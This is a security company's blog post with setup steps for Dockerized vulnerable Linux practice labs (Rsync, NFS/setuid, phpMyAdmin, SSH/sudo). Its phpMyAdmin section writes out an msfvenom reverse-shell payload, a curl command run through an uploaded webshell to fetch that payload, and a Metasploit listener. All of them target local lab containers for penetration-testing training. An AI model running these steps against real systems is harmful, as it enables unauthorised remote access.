Dockerizing the NetSPI Linux Labs

written by Sam Horvath | March 25, 2021

Learning penetration testing takes time and specialized resources. Any experienced tester knows that once they have the academic knowledge of how a vulnerability could work, they're itching to try it out in the real world – but they often lack the specialized (read: safe, legal) environment to apply their newfound knowledge. To help make that process easier, NetSPI is releasing several vulnerable Docker images and associated NetSPI lab walkthroughs that can be used to learn and practice offensive techniques against technologies commonly seen in real-world environments.

If you're not familiar with Docker, check out the links below to get started.

- https://www.docker.com/sites/default/files/d8/2019-09/docker-cheat-sheet.pdf
- https://docs.docker.com/

For those unfamiliar with Scott Sutherland's existing Linux Hacking Case Studies blog series, Scott put together a series of labs that focus on exploiting common Linux issues. To make the lab environments a little easier to spin up, we've converted these labs into Docker images.

If you already have a base skill-set in penetration testing but want to increase your abilities in exploiting Linux-based systems, then these labs are for you. If you're reading these titles and scratching your head at some unfamiliar terms, read the accompanying blog links first, then run through the labs to get a better understanding of the vulnerabilities.

For some of the following labs, two Docker images are used. One of the Docker images is used to run the container for the

lab itself, and the other contains the msf_base image that is used to run the container for the attacker and contains the Metasploit framework necessary for doing so.

These instructions were created with the intent that you are running Windows, with WSL2 for necessary Linux operations, as well as Docker for Windows.

Lab 1: Attacking insecure Rsync configurations

In Lab 1, the participant learns about Rsync – a commonly used file copy/sync utility present on many Linux distributions.

Installation/Run Instructions

1. Pull and run the Lab 1 Docker container, which spins up a vulnerable Rsync server.

   ```
   $ docker run -dit --rm netspi/lab1 bash
   Unable to find image 'netspi/lab1:latest' locally
   latest: Pulling from netspi/lab1
   692c352adcf2: Already exists
   [TRUNCATED]
   3af53b42f112: Pull complete
   4530eae3603e: Pull complete
   Digest:
   sha256:d04c06f733cd5cfc00d619178fd7b09ade053ce9563e1b77b
   0dcc99f222bc28d
   Status: Downloaded newer image for netspi/lab1:latest
   f6086037b4e4a7b3ee30fc6957881225415d8a78840049ca1b44b2d5
   638d7daa
   ```

2. Grab the container ID of the netspi/lab1 container.

   ```
   $ docker run -dit --rm netspi/lab1 bash
   Unable to find image 'netspi/lab1:latest' locally
   latest: Pulling from netspi/lab1
   692c352adcf2: Already exists
   ```

```
[TRUNCATED]
3af53b42f112: Pull complete
4530eae3603e: Pull complete
Digest:
sha256:d04c06f733cd5cfc00d619178fd7b09ade053ce9563e1b77b
0dcc99f222bc28d
Status: Downloaded newer image for netspi/lab1:latest
f6086037b4e4a7b3ee30fc6957881225415d8a78840049ca1b44b2d5
638d7daa
```

3. From another terminal, record the IP of your Lab 1 docker container. You'll use this IP as a target for Nmap scans later in the lab.

```
$ docker inspect [container ID] | grep -F -m 1
\"IPAddress\":
            "IPAddress": "172.17.0.2",
```

4. Now pull and run your msf_base container, launching into an interactive bash shell.

```
$ docker run -it --rm netspi/msf_base bash
Unable to find image 'netspi/msf_base:latest' locally
latest: Pulling from netspi/msf_base
692c352adcf2: Pull complete
[TRUNCATED]
fb2fa6eca858: Pull complete
Digest:
sha256:2ec64fb7fa8c05c8e5b6b746539f6bd0bb52f9d6feaf98ff9
ab2868adefca5c0
Status: Downloaded newer image for
netspi/msf_base:latest
root@32be66de5038:/#
```

5. Continue by following the lab here, using the Lab 1 container as the target host and the msf_base container as the attacking host: https://blog.netspi.com/linux-hacking-case-studies-part-1-rsync/ .

6. After you have finished the lab, be sure to stop your container to avoid taking up resources. (Note that the container can be referenced using the first four characters of the ID returned after pulling and running the new container in step one.)

```
$ docker stop f608
 f608
```

Lab 2: Attacking insecure NFS exports and setuid configurations

Lab 2 will walk would-be Linux masters through attacking some common vulnerabilities in two widely used technologies/protocols – NFS exports and setuid configurations. One unique aspect of this lab includes using a little imagination.

In a perfect world, the lab would involve two separate Docker containers – one representing the attacker computer (running Metasploit) and a second representing the target (hosting the NFS exports).

However, nfs-client utilities such as rpcinfo and showmount don't have the ability to communicate across Docker containers, so NetSPI reworked the attack scenario to give lab users the closest possible real-world approximation in this format. Both the target and the attacker are located in the same Docker container, so the attacker should execute the attack path outlined in the blog post linked below against 127.0.0.1.

Installation/Run Instructions

1. Pull and run the netspi/lab2 image in privileged mode.

```
$ docker run --privileged --rm -d netspi/lab2
Unable to find image 'netspi/lab2:latest' locally
```

```
latest: Pulling from netspi/lab2
692c352adcf2: Already exists
[TRUNCATED]
89f04cf1b6f3: Pull complete
Digest:
sha256:be6363a0aa1715aa0a97824b131aa620c7509e47668bc5d14
75c1985fb6d98be
Status: Downloaded newer image for netspi/lab2:latest
dd68291be63abd1ec4ffe6f9c55154106a9d708824d0a6bdd4028651
5548b5a7
```

2. Run an interactive shell in the container noted above.

```
$ docker exec -it
dd68291be63abd1ec4ffe6f9c55154106a9d708824d0a6bdd4028651
5548b5a7 bash
```

3. Proceed to the instructions in this lab: https://blog.netspi.com/linux-hacking-case-studies-part-2-nfs/. Note that you should skip the steps in which you log in to the target host using SSH, as both our target host and attacking host are one and the same due to the limitations of Docker described above.
4. After you're finished with the lab, stop the container.

```
$ docker stop dd68
dd68
```

Lab 3: Attacking insecure phpMyAdmin configurations and world-writable files

The steps in Lab 3 will teach students how to attack phpMyAdmin instances found during routine port scans. The steps to complete the lab represent a significant departure from the attack path discussed in the blog linked below, though they exhibit the same concepts.

Installation/Run Instructions

1. Pull the netspi/lab3 image with Docker

   $ docker pull netspi/lab3

2. List the Docker images and note the ID for the lab3 image

   $ docker images

   REPOSITORY TAG IMAGE ID
   CREATED SIZE
   netspi/lab3 latest 4d30e4fe9cb9
   6 months ago 975MB

3. Run the lab 3 Docker image using the previously noted image ID, making sure to expose port 80 so the MSF container can access the phpMyAdmin service on the vulnerable container (netspi/lab3). Be sure to use docker inspect to note the IP address of the container for later.

   docker run -dit -p 80:80 [image ID]

4. In a separate terminal, start a session within the MSF container to use as your attacker machine.

   $ docker run -it --rm netspi/msf_base bash
   root@e6cfb4c91a9f:/#

5. Note the IP of the msf_base image you just spun up, you will need this later.

   $docker ps
   CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
   3ab944f8c546 1df49e2310ff "bash" 9 minutes ago Up 9 minutes 0.0.0.0:4444->4444/tcp great_swirles
   e4ef60c9518d netspi/msf_base "bash" 12 minutes ago Up 12 minutes objective_austin
   14469fadfd40 4d30e4fe9cb9 "/run.sh" 13 minutes ago Up 13

```
minutes 0.0.0.0:80->80/tcp, 3306/tcp romantic_williamson

$docker inspect e4ef60c9518d | grep -F -m 1 \"IPAddress\":
"IPAddress": "172.17.0.3
```

6. Using a web browser on the computer you're running all your Docker containers on, navigate to http://127.0.0.1/phpmyadmin/index.php
7. Follow the attack vector detailed in Scott's blog here to brute force the password to the phpMyAdmin instance, as well as write a webshell in SQL to upload to the same instance's backend. After you have written the webshell, refer to attack setup below to continue the exploit.

Attack Setup

The way phpMyAdmin was ported to Docker containers precludes an attacker from generating a reverse shell via cron job as depicted in Scott's blog. To mitigate this problem, an alternative exploit was developed. The cmd.php file you just uploaded contains the curl command that will reach out and and pull a hosted reverse shell from a simpleHTTPServer running on the MSF Docker container you spun up above – this effectively replicates the backdoor outlined in Scott's blog, but within the constraints effected by running phpMyAdmin on Docker. Using Docker to do all this means you don't have to go through troubleshooting a phpMyAdmin install, etc. and can focus on learning the exploit itself.

1. In a third terminal window, open an msfconsole bash container with port 4444 exposed

   ```
   $ docker run -it --rm -p 4444:4444 {msf_base □□□□image ID}□□□□  bash
   ```

2. Generate a reverse shell with the msfvenom module
    1. Use a separate terminal window to grab the LHOST value for the msf_base container running with port

4444 exposed.

```
$ docker inspect {lab3 container ID} | grep  -F -m 1 \“IPAddress\“:
"IPAddress": "172.17.0.3,
```

2. Generate the reverse shell using the same msf_base container that you plan to use to serve the simpleHTTPServer in the next step.

   ```
   $ msfvenom -p php/meterpreter_reverse_tcp LHOST=172.17.0.3 LPORT=4444 -f raw > reverseshell.php
   ```

3. In the MSF Docker container you started earlier, spin up a simple Python HTTP server to host the reverse shell file. This allows you to curl the reverse shell from the victim computer.

   ```
   $ python -m SimpleHTTPServer 8088
   ```

4. In the GUI located at http://127.0.0.1/phpmyadmin/cmd.php, use the webshell uploaded previously to curl for the reverseshell.php file that was just created in the MSF container. The IP address should be the IP of the Docker container you pulled in step 5 of the installation instructions.

   ```
   $ curl docker_container_IP:8088/reverseshell.php -o reverseshell.php
   ```

   If you performed the above steps correctly, you will see the resulting GET request from the curl command be processed by the SimpleHTTPServer.

5. Open another terminal window and access the same MSF container using the following steps:
   1. List all your running Docker containers

```
$ docker ps
CONTAINER ID   IMAGE                COMMAND
CREATED             STATUS              PORTS
NAMES
f3c1bdede660   4d30e4fe9cb9       "/run.sh"   4
minutes ago    Up 4 minutes    0.0.0.0:80->80/tcp,
3306/tcp   eloquent_bell
5623af2f7ecf   netspi/msf_base   "bash"      33
minutes    ago           Up    33    minutes
0.0.0.0:4444->4444/tcp           goofy_noyce
```

2. Access the bash terminal of the running msf_base container that has port 4444 exposed.

```
$ docker exec -it 5623af2f7ecf bash
root@5623af2f7ecf:/#
```

6. Set up a listener on the MSF container using the new bash terminal you just opened. (The window not currently running the SimpleHTTPServer on port 8088). The LHOST IP should match the IP of the msf_console Docker container that has port 4444 exposed.

```
$ root@5623af2f7ecf:/# msfconsole
$ msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
$  msf6  exploit(multi/handler)  >  set  PAYLOAD
linux/x64/meterpreter_reverse_tcp
PAYLOAD => linux/x64/meterpreter_reverse_tcp
$ msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
$ msf6 exploit(multi/handler) > set LHOST 172.17.0.3
LHOST => 172.17.0.3
$ msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.17.0.3:4444
```

7. Navigate to http://127.0.0.1/phpmyadmin/reverseshell.php
    1. Go back to your MSF container and type shell to

open a shell. Then run a bash command to confirm that you have bash control of the phpMyAdmin console.

```
$ shell
$ whoami
www-data
```

8. Congratulations, you now have a reverse shell running on the target host.

Lab 4: Different ways to approach SSH password guessing and attacking sudo applications

Lab 4 will teach you to attack SSH passwords and sudo applications, and is perhaps the most accessible to those who are new to penetration testing.

Installation/Run Instructions

1. Pull and run the Lab 4 Docker container.

```
$ docker run -dit --rm netspi/lab4 tail -f /dev/null
Unable to find image 'netspi/lab4:latest' locally
latest: Pulling from netspi/lab4
692c352adcf2: Already exists
[TRUNCATED]
d759bf5b0446: Pull complete
Digest:
sha256:eca1ff10dcbcaf2aec164cb97f447c94853259d989ee122b271ab0325ffcef66
Status: Downloaded newer image for netspi/lab4:latest
944da34600eb9cf03b6dfc4423494897b0625974894039ef6a5e330d9955ca67
```

2. Pull and run the msf_base container.

```
$ docker run -it --rm netspi/msf_base bash
```

```
root@2bed01938a23:/#
```

3. Proceed to the instructions in this lab: https://blog.netspi.com/linux-hacking-case-studies-part-4-sudo-horror-stories/. All commands from here on out can be run from the msf_base container.
4. Once you have finished the lab, be sure to stop the container(s).

```
$ docker stop 944d
944d
```

Lab 5: Summary

Created with docker-compose, this lab is simply a consolidated way of running labs 1-4 and creating an msf_console container all in one swoop. Following the instructions below, docker-compose will create and start labs 1-4 as well as present you with an msf_console container from which to test. From there, follow the blog posts for labs 1-4 any time you get stuck!

Installation/Run Instructions

1. Clone the Github repository

```
$ git clone git@github.com:NetSPI/NetSPI-Docker-Labs.git
Cloning into 'NetSPI-Docker-Labs'...
remote: Enumerating objects: 33, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (30/30), done.
remote: Total 33 (delta 0), reused 33 (delta 0), pack-reused 0
Receiving objects: 100% (33/33), 8.97 KiB | 4.48 MiB/s, done.
```

2. cd to the Lab 5 directory in the repository you just cloned.
3. Run the Docker compose command to build and run the necessary images

```
$ docker-compose up -d
Creating network "lab5" with driver "bridge"
Pulling lab3 (netspi/lab3:)...
latest: Pulling from netspi/lab3
c64513b74145: Pull complete
01b8b12bad90: Pull complete
[TRUNCATED]
b74cb7320347: Pull complete
0b77cb4369b4: Pull complete
9e2e5286c54e: Pull complete
Digest:
sha256:303d80067ad6ad5e07fd3d1e7d2b67e32fec652d374f44ea9
458098ba085c6f0
Status: Downloaded newer image for netspi/lab3:latest
Creating lab5_lab3_1 ... done
Creating lab5_lab1_1 ... done
Creating lab5_lab2_1 ... done
Creating lab5_lab4_1 ... done
```

4. Obtain the IP addresses of the launched containers for further use in attack scenarios.

```
$ docker network inspect lab5 | grep '"Name": \|
"IPv4Address": "'
"Name": "lab5",
"Name": "lab5_lab1_1",
"IPv4Address": "172.18.0.5/16",
"Name": "lab5_lab3_1",
"IPv4Address": "172.18.0.4/16",
"Name": "lab5_lab4_1",
"IPv4Address": "172.18.0.3/16",
"Name": "lab5_lab2_1",
"IPv4Address": "172.18.0.2/16",
```

5. Start the MSF container in the same network as the other lab5 containers

```
$ docker run -it --network=lab5 netspi/msf_base bash
```

```
root@0bea0cb52b2a:/#
```

6. After you’re done with the labs, take down the containers. Be sure to run this command from the same folder you launched the containers from originally.

```
$ docker-compose down
```

Conclusion

Congratulations on getting this far – you’re ready to start learning. Take your time, read the blogs carefully, and proceed with *some* caution. For more penetration testing news and resources, follow NetSPI on Twitter, and if you’re having any issues with the labs that you want to ask us about, give us a shout on the GitHub repository for the labs! Finally, a huge thanks to Scott Sutherland, Emerson Drapac, Rafael Seferyan, and Bjorn Buttermann for the mountain of work they did creating these labs and the blog posts they’re based on.